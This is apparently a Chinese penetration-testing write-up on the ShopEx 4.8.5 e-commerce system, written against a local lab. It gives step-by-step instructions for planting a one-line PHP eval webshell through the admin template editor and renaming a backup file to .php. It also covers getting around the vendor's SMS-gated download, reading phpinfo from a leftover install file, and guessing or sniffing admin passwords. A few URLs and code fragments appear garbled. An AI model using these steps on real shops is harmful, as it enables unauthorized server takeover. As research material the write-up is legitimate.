Shopex(上海商派网络科技有限公司的简称)成立于2002年,是中国电子商务技术及服务提供商,主要向市场提供PC端、移动端和线下的软件系统及相关服务。阿里巴巴、联想和贝塔斯曼对其进行了投资,其开发的shopexcms是一款独立电子商务软件系统,依托SaaS理念(是Software-as-a-service软件即服务的简称),软件本身免费提供,企业可以利用其快速建立独立电子商务平台,从而拥有独立的域名、独立的客户系统、独立的业务数据和业务体系,Shopex是国内市场占有率最高的网店软件。在渗透过程中碰到一个目标系统安装了安全狗防护系统,因此才有了对shopex系统渗透的研究。研究结果表明,只有获取管理员密码的情况下,才能比较容易获取Webshell。
搭建测试平台
1)下载源代码绕过短信验证漏洞
本次渗透需要下载shopex4.8.5版本,官方需要提供手机号码进行短信验证,然后给出下载地址,而我等屌丝不愿意将手机号码泄漏,只好想办法,通过研究发现其下载访问地址隐藏在网页文件中,通过访问地址:
?tat_name=RUNTaG9wJUU1JTg1JThEJ UU4JUI0JUI5JUU0JUJEJTkzJUU5JUFBJThDJUU0JUI4JThCJUU4JUJEJUJEJTI4VVRGLTglMjk=&referer_ url=aHR0cCUzQSUyRiUyRnd3dy5lY3Nob3AuY29t&product_cat_p=1003&product_cat_c=1016&cl ues_source_p=1009&clues_source_c=1033&targed=aHR0cCUzQSUyRiUyRmRvd25sb2 FkLmVjc2hvcC5jb20lMkYyLjcuMyUyRkVDU2hvcF9WMi43LjNfVVRGOF9yZWxlYXNlMTEwNi5yYXI= &encode=true
使用google浏览器chrome审查元素,使用ctrl+F键搜索download即可获取下载地址。如图1
所示,shopex-single-4.8.5.82977.zip地址,同理,其它CMS源代码也可以通过这个方法下载。
图1获取shopex下载地址
2)安装php+mysql+apache环境可以安装php整合软件Comsenz来搭建实验环境,Comsenz最新版本为2.5。
3)安装shopex4.8.5
将shopex4.8.5程序复制到网站根目录,访问http://192.168.206.129/shopex/install/index.php进行安装,按照提示进行安装即可,安装结束后会要求提供shopExID,这个id可以通过注册免费获取,不需要填写真实信息,随便填写一个信息,注册成功后登录后,访问就可以获取shopExID,如图2所示,否则无法访问后台,我从网上下载了几个声称破解版均未测试成功。将该shopExID和注册的密码输入进行验证即可通过授权验证。
图2获取shopExID
4)获取PHP环境信息
如果install/svinfo.php文件未被删除,通过访问http://192.168.206.128/shopex/instvinfo.php?phpinfo=true即可获取php环境等信息,这些信息对进一步渗透很有帮助,获取操作系统、路径(DOCUMENT_ROOT、SCRIPT_FILENAME)以及相关配置等信息,如图3所示。
获取phpinfo信息
后台管理员权限通过模板编辑获取webshell
1)编辑info.xml文件
进入后台后,单击“页面管理”-“模板管理”-“模板列表”-“模板文件管理”,查看当前使用的模板文件信息,直接对info.xml进行编辑,或者访问地址:http://192.168.206.128/shopex/shopadn/index.php#ctl=system/tmpimage&act=detail&p[0]=/1354864820-info.xml,直接读取和修改info.xml文件内容,如图4所示。
图4查看和编辑模板文件
2)修改模板文件内容
直接修改info.xml文件的内容,其内容可以是一句话后门<?php@eval($_PO['cmd']);?>,也可以是大马等。保存一次后,会显示“文件修改历史”,在下面会显示文件修改的备份文件。如图5所示,复制还原链接地址,并将p[1]=info.xml文件修改为p[1]=info.php,p[1]可以是任何php文件,比如p[1]=antian365.php等。也可以直接访问以下地址:http://192.168.206.129/shopex/shopadndex.php?ctl=system/tmpimage&act=recovource&p[0]=info.bak_2.xml&p[1]=info.php&p[2]=1354864820。
3)获取shell
再次访问模板文件管理,即可查看刚才生成的info.php文件,如图6所示,一句话后门地址为:http://192.168.206.129/shopex/tes/1354864820/info.php。
生成webshell
4)测试webshell
使用一句话后门最新版本,新增一条记录,如图7所示,说明webshell获取成功。
后台管理员密码获取
对于通过后台进行管理员密码更改的,其加密方式虽然是MD5加密,但根据网上资料,普通会员加密值是md5(md5(passwod).mgtime).admin)),这个值即使是最简单的密码恐怕也破解不了。因此通过注入获取管理员的密码意义不大。
一是通过知道的管理员账号,绝大部分默认为admin,输入一些简单密码进行登录测试;第二个就需要进行查询,通过查询管理员或者网站管理员的邮箱等信息进行查询。第三个就是通过嗅探ftp等方式。
(完)
本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,作者不鼓励或支持任何形式的非法行为。